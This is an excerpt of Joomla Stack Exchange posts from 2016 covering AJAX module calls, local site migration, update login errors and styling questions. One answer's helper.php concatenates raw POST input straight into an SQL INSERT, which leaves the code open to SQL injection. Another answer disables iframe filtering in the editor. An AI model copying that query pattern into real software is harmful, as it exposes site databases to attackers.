  <row Id="18202" PostTypeId="2" ParentId="18179" CreationDate="2016-10-27T04:15:05.153" Score="3" Body="&lt;p&gt;After more searches, I managed to work it out.  Hopefully the below will offer some small mercy to some lost joomla soul like I was. The main challenge was constructing the URL and get a response. So here's my solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url: &quot;index.php?option=com_ajax&amp;amp;module=CompanyPage&amp;amp;method=updateDetails&amp;amp;format=raw&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Required if using ajax request: &lt;strong&gt;index.php?option=com_ajax&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your module being &lt;code&gt;mod_CompanyPage&lt;/code&gt; is called without the &lt;em&gt;mod_&lt;/em&gt; as : &lt;strong&gt;&amp;amp;module=CompanyPage&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your method in the helper class must have the key word &lt;em&gt;Ajax&lt;/em&gt; at the end of the function. &lt;code&gt;function updateDetailsAjax()&lt;/code&gt; but is constructed without the word Ajaxas : &lt;strong&gt;&amp;amp;method=updateDetails&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally the &lt;strong&gt;&amp;amp;format=raw&lt;/strong&gt; at the end. (I haven't work out why yet)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To get a response from the helper class just echo it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function () {&#xA;    jQuery(&quot;#submit&quot;).click(function () {&#xA;    $.ajax({&#xA;       type: &quot;POST&quot;,&#xA;       url: &quot;index.php?option=com_ajax&amp;amp;module=CompanyPage&amp;amp;method=updateDetails&amp;amp;format=raw&quot;,&#xA;       data: dataString,&#xA;       success: function(data){&#xA;       alert(data);    // alert box pop up either show &quot;We did it&quot; or the error message from data connection&#xA;       }&#xA;        });&#xA;&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;helper.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modCompanyPageHelper&#xA;{&#xA;&#xA;    function updateDetailsAjax()&#xA;    {  &#xA;&#xA;        if( isset( $_POST['Company_Name'] ) )&#xA;        {&#xA;&#xA;            $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;            $_Company_Name = $jinput-&amp;gt;get('Company_Name', 'default_value', 'RAW');&#xA;            $_Company_Address = $jinput-&amp;gt;get('Company_Address', 'default_value', 'RAW');&#xA;&#xA;            $insert_query = &quot;INSERT INTO #__myCompany (Company_Name, Company_Address, Create_Date)&#xA;            VALUES('&quot;.$_Company_Name.&quot;','&quot;.$_Company_Address.&quot;','&quot;.date(&quot;Y-m-d H:i:s&quot;).&quot;')&quot;;&#xA;&#xA;            $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;            try&#xA;            {&#xA;                $db-&amp;gt;setQuery($insert_query);&#xA;                $db-&amp;gt;query();&#xA;            }&#xA;            catch (RuntimeException $e)&#xA;            {&#xA;&#xA;                echo $e-&amp;gt;getMessage();&#xA;                return false;&#xA;            }&#xA;            echo &quot;We did it&quot;;&#xA;            return true;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this knowledge, I was able to call backend function to insert, upload and delete database record.  I also managed to upload files on to server using dropzone.js &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Life would have been so much easier had I known this info a month ago. &lt;/p&gt;&#xA;" OwnerUserId="9195" LastEditorUserId="9195" LastEditDate="2016-10-29T01:11:46.197" LastActivityDate="2016-10-29T01:11:46.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18204" PostTypeId="2" ParentId="18180" CreationDate="2016-10-27T07:34:09.047" Score="2" Body="&lt;p&gt;If you're having trouble with Akeeba Backup, you should try to do all the work manually. It works for me, every-time .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: First download the whole &lt;code&gt;Joomla directory&lt;/code&gt; using &lt;a href=&quot;https://filezilla-project.org/download.php?type=client&quot; rel=&quot;nofollow noreferrer&quot;&gt;FileZilla&lt;/a&gt; client on your local machine. It should contain all the sub-folders :&#xA; &lt;code&gt;administrator&lt;/code&gt;,&lt;code&gt;bin&lt;/code&gt;,&lt;code&gt;includes&lt;/code&gt;,&lt;code&gt;components&lt;/code&gt;,&lt;code&gt;cache&lt;/code&gt; and so on including the &lt;code&gt;configuration.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; : Export a SQL copy of your &lt;code&gt;Jdatabase&lt;/code&gt; using &lt;code&gt;PHPmyAdmin&lt;/code&gt; (provided by your webhost)&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open PHPmyAdmin.&lt;/li&gt;&#xA;&lt;li&gt;Select your database from the left side bar.&lt;/li&gt;&#xA;&lt;li&gt;Go to Export.&lt;a href=&quot;https://i.stack.imgur.com/BcrUx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BcrUx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;then choose :&lt;/li&gt;&#xA;&lt;li&gt;Export Method: &lt;code&gt;Quick - display only the minimal options&lt;/code&gt;.&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;Format : &lt;code&gt;SQL&lt;/code&gt;.&lt;br&gt;&lt;br&gt;&#xA;and hit &lt;strong&gt;Go&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A SQL copy of your &lt;code&gt;live&lt;/code&gt; Joomla database will get downloaded on your local machine.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt; : Move all contents of the downloaded Joomla directory &lt;code&gt;(from Step 1)&lt;/code&gt; to your Wamp local &lt;code&gt;server's root directory&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt; : Import your downloaded SQL copy on your local database using PHPmyAdmin (localhost/phpmyadmin)&lt;a href=&quot;https://i.stack.imgur.com/ah8vC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ah8vC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;&#xA;- Choose file : &lt;code&gt;select the downloaded SQL file from Step 2&lt;/code&gt;&lt;br&gt;&lt;br&gt;&#xA;Leave everything intact and hit &lt;strong&gt;Go&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt; : Edit your configuration.php &lt;code&gt;file&lt;/code&gt;. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the &lt;code&gt;$host&lt;/code&gt;, &lt;code&gt;$user&lt;/code&gt; and &lt;code&gt;$password&lt;/code&gt; values with this :&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'localhost';&#xA;public $user = 'root';&#xA;public $password = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the value of &lt;code&gt;$db&lt;/code&gt; with the name of your local database (on which you imported the SQL file in Step 4).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $db = 'myLocalDatabase';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it. Your local copy is ready.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-10-27T07:34:09.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18206" PostTypeId="1" AcceptedAnswerId="18217" CreationDate="2016-10-27T08:58:42.610" Score="2" ViewCount="629" Body="&lt;p&gt;I have to update a Joomla 3.4.7 site. I did first a localhost update to test - everything worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now on the live site I am not able to login in the front-end. I am getting the invalid security token issue. Backend login works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I re-installed Joomla through com_joomlaupdate and generally have tried  anything I could think to address the issue, but still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the same with manual installation but again the issue remains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that I am not using the right package? Reviewing the documentation: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/3.6.4&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/releases/tag/3.6.4&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's not that clear which package I should use.&lt;br&gt;&#xA;Anyone with ideas?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="12352" LastEditDate="2019-11-16T22:58:11.303" LastActivityDate="2019-11-16T22:58:11.303" Title="Joomla 3.4.x to 3.6.4 Update and invalid security token on front-end login" Tags="|joomla-3.4|login|joomla-3.6|update|security-token|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18207" PostTypeId="2" ParentId="18070" CreationDate="2016-10-27T09:21:36.373" Score="1" Body="&lt;p&gt;I found the answer. In my router file I was including model. And it's model file had BOM sygnature included. It was causing this error...&lt;/p&gt;&#xA;" OwnerUserId="6924" LastActivityDate="2016-10-27T09:21:36.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18208" PostTypeId="2" ParentId="18206" CreationDate="2016-10-27T09:24:40.517" Score="1" Body="&lt;p&gt;The invalid security token was an issue in the Joomla 3.6.1 update. To fix this, please see my answer here, which also caters for user who have Akeeba Backup installed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/17357/168&quot;&gt;https://joomla.stackexchange.com/a/17357/168&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The package you need to be using for the update is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.6.4/Joomla_3.6.x_to_3.6.4-Stable-Patch_Package.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla_3.6.x_to_3.6.4-Stable-Patch_Package.zip&lt;/a&gt; (&lt;em&gt;direct download link&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-10-27T09:24:40.517" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="18210" PostTypeId="1" AcceptedAnswerId="18212" CreationDate="2016-10-27T12:38:20.773" Score="0" ViewCount="550" Body="&lt;p&gt;I'm trying to add two pieces of content to a page, an article and an custom HTML menu. I've set the page to type of featured articles and created a module from a single article. How can I have this article display in it's entirety, not just the intro text?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-10-27T13:12:02.333" LastActivityDate="2016-11-26T13:37:20.583" Title="How to show entire article content as a single-article module?" Tags="|joomla-3.x|articles|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18211" PostTypeId="2" ParentId="18154" CreationDate="2016-10-27T12:46:25.583" Score="1" Body="&lt;p&gt;After some research I found this PDF:&#xA;&lt;a href=&quot;https://www.joomlapolis.com/media/kunena/attachments/557850/developer_documentation_2.0.x_english.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlapolis.com/media/kunena/attachments/557850/developer_documentation_2.0.x_english.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that using AlphaUserPointsHelper was the way to go.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get AlphaUserPointsHelper&#xA;$api_AUP = JPATH_BASE . DS . 'components' . DS . 'com_alphauserpoints' . DS .'helper.php';&#xA;if (file_exists($api_AUP)) {&#xA;   require_once ($api_AUP);&#xA;   $user = JFactory::getUser();&#xA;   $referrerId = AlphaUserPointsHelper::getReferreid($user-&amp;gt;id);&#xA;   AlphaUserPointsHelper::newPoints('custom.function.name', $referrerId);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-10-27T12:46:25.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18212" PostTypeId="2" ParentId="18210" CreationDate="2016-10-27T13:28:22.837" Score="0" Body="&lt;p&gt;Apparently there was a &quot;read more&quot; buried in the content and removing that solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-10-27T13:28:22.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18213" PostTypeId="1" AcceptedAnswerId="18219" CreationDate="2016-10-27T13:45:02.853" Score="1" ViewCount="578" Body="&lt;p&gt;So, I have worked up a html menu with a css3 hexagon grid that I'm adding to a page with a custom html module. Can I add a separate style sheet for this module? If so, how? &lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="9182" LastEditDate="2016-10-28T21:01:43.097" LastActivityDate="2016-10-28T21:01:43.097" Title="Style a custom HTML module" Tags="|joomla-3.x|css|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18214" PostTypeId="2" ParentId="17146" CreationDate="2016-10-27T13:54:42.970" Score="3" Body="&lt;p&gt;When you need to get just one field names' value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;$items = ArrayHelper::getColumn((array) $params-&amp;gt;get('subformName'), 'fieldName');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="481" LastEditorUserId="481" LastEditDate="2016-10-28T12:29:23.050" LastActivityDate="2016-10-28T12:29:23.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18215" PostTypeId="1" AcceptedAnswerId="18560" CreationDate="2016-10-27T15:02:06.840" Score="3" ViewCount="1858" Body="&lt;p&gt;After Joomla update to 3.6.2 the user group &lt;code&gt;Administrator&lt;/code&gt; cannot edit some articles while some articles can be edited. &lt;code&gt;Super Users&lt;/code&gt; can edit all the articles. I think the issue is with the category . When I select the article category as &lt;code&gt;Uncategorised&lt;/code&gt; the articles can be edited by the administrators. While when I select other category the problem arises. I checked the category permissions of the user group administrators and all are selected to &lt;code&gt;Allowed&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---Updated---&#xA;I think my &lt;code&gt;#__assets&lt;/code&gt; table is broken. I tried rebuilding the categories but it didn't work. The &lt;code&gt;parent_id&lt;/code&gt; column when changed to super users group id &lt;code&gt;8&lt;/code&gt; as in the uncategorised the articles worked. However, this doesn't work for subcategories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly, guide me on this issue and let me know if I am going the right way&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-10-27T16:15:33.177" LastActivityDate="2016-12-07T08:39:33.880" Title="Administrators cannot edit articles after Joomla update" Tags="|joomla-3.x|articles|category|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18216" PostTypeId="2" ParentId="18213" CreationDate="2016-10-27T15:27:41.223" Score="2" Body="&lt;p&gt;You don't have to add separate CSS file. You can just style-up new selectors you want, or use some existing in main &lt;code&gt;template.css&lt;/code&gt; or &lt;code&gt;custom.css&lt;/code&gt;, whichever you are using, and reference them in Custom HTML module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That also goes along the line of general guidelines of using as small naumber of external CSS/JS files as possible, in order to reduce number of HTTP requests.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-10-28T07:01:44.070" LastActivityDate="2016-10-28T07:01:44.070" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18217" PostTypeId="2" ParentId="18206" CreationDate="2016-10-27T16:37:08.213" Score="2" Body="&lt;h2&gt;Solving my issue&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well in my case the issue was not related to Joomla core. I had to step away from it for a while and return with clear mind to find out that it was a custom directive inside the htaccess that was causing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like someone wanted to prevent access to the &lt;code&gt;com_users&lt;/code&gt; component in the front-end. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^/administrator&#xA;RewriteCond %{QUERY_STRING} \boption=com_users\b [NC]&#xA;RewriteRule ^ - [F]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removing this - solved the front-end login issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update - Front-end Login using Modules&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For anyone that reaches to this page with this front-end login issue, I have noticed that using some &lt;strong&gt;login modules&lt;/strong&gt; for front-end login may produce the above issue.&lt;br&gt;&#xA;In this case make sure your login modules have their &lt;strong&gt;cache&lt;/strong&gt; setting to &lt;strong&gt;No-Caching&lt;/strong&gt; (disabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure for the core login module - but have seen this with 3rd party ones.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-11-22T08:39:40.640" LastActivityDate="2016-11-22T08:39:40.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18218" PostTypeId="2" ParentId="18215" CreationDate="2016-10-27T18:09:12.970" Score="4" Body="&lt;p&gt;Well then... I would try ACL Manager's famous Fixing Assets command...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ACL Manager | Diagnostics tab, then (Fix Orphan Assets / Add Missing Assets / Fix Assets Issues / Fix Admin Access Conflicts) if any... &lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-12-07T08:39:33.880" LastActivityDate="2016-12-07T08:39:33.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18219" PostTypeId="2" ParentId="18213" CreationDate="2016-10-27T22:34:27.693" Score="1" Body="&lt;p&gt;I agree with @Mikan although if you really want to add a separate stylesheet there are at least a couple of ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;add some code to your custom HTML module as per &lt;a href=&quot;https://stackoverflow.com/a/20607027/1983389&quot;&gt;https://stackoverflow.com/a/20607027/1983389&lt;/a&gt; using the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer&lt;/a&gt; or similar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use a third party extension like the free or paid version of &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easyscript&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasyScript&lt;/a&gt; or similar&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-10-27T22:34:27.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18220" PostTypeId="1" AcceptedAnswerId="18227" CreationDate="2016-10-28T11:26:19.617" Score="0" ViewCount="474" Body="&lt;p&gt;I have adapted Webtiki's &lt;a href=&quot;https://github.com/web-tiki/responsive-grid-of-hexagons&quot; rel=&quot;nofollow&quot;&gt;Responsive hexagon grid&lt;/a&gt; into a custom html module, however something is messing with the stacking of the anchor tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added the html to my joomla site, the link seems to be pushed down below the div's for the h1 and the paragraph which make the link un-clickable when you hover of the list item. The mouse indicates that the image remains a link before the two divs move in with the hover effect. If I change the z-index of the anchor tag, then the hover effect on the list item doesn't work, so I'm not sure how to go about fixing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a test server with the code in question &lt;a href=&quot;http://46.101.194.36/greentec-capital.com/index.php/portfolio/investment-criteria&quot; rel=&quot;nofollow&quot;&gt;Test-Server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is why is the z-index for the anchor tag changed when it's incorporated into the site? (I realize that many things can affect the positioning of an element, especially with the multiple nested divs within the html generated by a CMS like joomla). Next, what can I do to diagnose or &quot;fix&quot; the z-axis positioning so that the link and the hover-effect both work? I've tried using the mozilla web developer tool bar to display stacking elements, but it doesn't show anything regarding the divs in question.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-10-31T13:34:11.803" LastActivityDate="2016-10-31T13:46:07.907" Title="How to determine (and fix) z-index of an anchor tag within a custom module?" Tags="|joomla-3.x|css|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18221" PostTypeId="2" ParentId="18189" CreationDate="2016-10-28T12:29:56.023" Score="1" Body="&lt;p&gt;I solved this doing it a bit different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B is done via this code which grabs all the inputs and converts them to a select box. Then when the user makes a selection it copies that selection to a normal text form field. This is the field that you load to get the results for C. When the user hasn't selected anything it shows the word &lt;code&gt;character&lt;/code&gt; in the select box.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        (function ($) {&#xA;          $(document).ready(function() {&#xA;            $(&quot;.selectArea&quot;).each(function(i) {&#xA;              $(this).addClass(&quot;selectBox&quot; + (i+1));&#xA;            });&#xA;            var values = $(&quot;input[id^='jform_params__characters__characters'][id$='__character_name']&quot;).map( function(){return $(this).val(); }).get();&#xA;            var optionsPlaceholder = '###OPTIONS###';&#xA;            var optionPlaceholder = '###OPTION###';&#xA;            var select = '&amp;lt;select class=&quot;selectInput&quot;&amp;gt;' + optionsPlaceholder + '&amp;lt;/select&amp;gt;';&#xA;            var option = '&amp;lt;option&amp;gt;' + optionPlaceholder + '&amp;lt;/option&amp;gt;';&#xA;            var options = '';&#xA;            for (var i = 0; i &amp;lt; values.length; i++) {&#xA;                var currentOption = option.replace(optionPlaceholder, values[i]);&#xA;                options += currentOption;&#xA;            }&#xA;            var selectBox = select.replace(optionsPlaceholder, options);&#xA;            var $select = $(selectBox);&#xA;            $(&quot;.selectBox&quot;).html($select);&#xA;            $(&quot;.selectInput&quot;).each(function(i) {&#xA;              $(this).addClass(&quot;selectInput&quot; + (i+1));&#xA;            });&#xA;            $(&quot;input[id^='jform_params__storymaker__storymaker'][id$='__characterselection_save']&quot;).each(function(i) {&#xA;              $(this).addClass(&quot;selectInputSave selectInputSave&quot; + (i+1));&#xA;            });&#xA;          });&#xA;&#xA;          $(document).on('change', '.selectInput', function() {&#xA;            var savevalue = (this.value);&#xA;            var selectClassRaw = $(this).attr(&quot;class&quot;).replace('selectInput selectInput', '');&#xA;            $('.selectInputSave' + selectClassRaw).val(savevalue);&#xA;          });&#xA;&#xA;          $(document).ready(function() {&#xA;            $(&quot;.selectInputSave&quot;).each(function() {&#xA;              var storedValue = (this.value);&#xA;              var storedClassRaw = $(this).attr(&quot;class&quot;).replace('selectInputSave selectInputSave', '');&#xA;              if ((this.value).length &amp;gt; 0) {&#xA;                $('.selectInput' + storedClassRaw).val(storedValue);&#xA;              } else {&#xA;                $('.selectInput' + storedClassRaw).prepend('&amp;lt;option&amp;gt;Character&amp;lt;/option&amp;gt;').val('Character');&#xA;              }&#xA;            });&#xA;            $('.selectInputSave').parents('.control-group').addClass('hiddenSaveInput');&#xA;          });&#xA;        })(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the above code does not exactly work together with the previous codes as storymaker.xml is completely different&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;  &amp;lt;form&amp;gt;&#xA;    &amp;lt;field name=&quot;mode&quot;&#xA;      type=&quot;radio&quot;&#xA;      default=&quot;story&quot;&#xA;      label=&quot;MOD_SOMETHING_-MODE-_LABEL&quot;&#xA;      description=&quot;MOD_SOMETHING_-MODE-_DESC&quot;&#xA;      class=&quot;btn-group btn-group-yesno&quot;&#xA;      &amp;gt;&#xA;      &amp;lt;option value=&quot;story&quot;&amp;gt;MOD_SOMETHING_-STORY-_OPTION&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;speech&quot;&amp;gt;MOD_SOMETHING_-SPEECH-_OPTION&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field name=&quot;characterselectiongenerate&quot; showon=&quot;mode:speech&quot; label=&quot;MOD_SOMETHING_-CHARACTERSELECTION-_LABEL&quot; description=&quot;MOD_SOMETHING_-CHARACTERSELECTION-_DESC&quot; type=&quot;characterselectiongenerate&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;characterselection_save&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;MOD_SOMETHING_-CHARACTERNAME-_LABEL&quot; description=&quot;MOD_SOMETHING_-CHARACTERNAME-_DESC&quot; size=&quot;10&quot; /&amp;gt;&#xA;  &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2016-10-28T12:29:56.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18223" PostTypeId="2" ParentId="18181" CreationDate="2016-10-30T05:43:20.453" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-3/writing-articles/adding-iframes&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to add an iframe&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Log into your Joomla 3 administrative dashboard In the top menu,&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;click Extensions and then click Plug-in Manager&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the left menu under&#xA;Filter, click Select Type and then click editors. In the list of&#xA;results, click Editor - TinyMCE.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the top of the page, click the Basic Options tab&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scroll down until you find the Prohibited Elements&#xA;setting: prohibited-elements&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Prohibited Elements&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Elements that will be&#xA;cleaned from the text. Do not leave empty - if you do not want to&#xA;prohibit anything enter dummy text e.g.cms&lt;/p&gt;&#xA;&lt;p&gt;The default text is&#xA;script,applet,iframe. Delete ,iframe so that the setting now reads&#xA;script,applet&lt;/p&gt;&#xA;&lt;p&gt;Click Save in the top left menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8255" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-10-30T05:43:20.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18224" PostTypeId="2" ParentId="18181" CreationDate="2016-10-30T13:54:41.757" Score="0" Body="&lt;p&gt;Did you try use JCE editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its free and you can control any tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-10-30T13:54:41.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
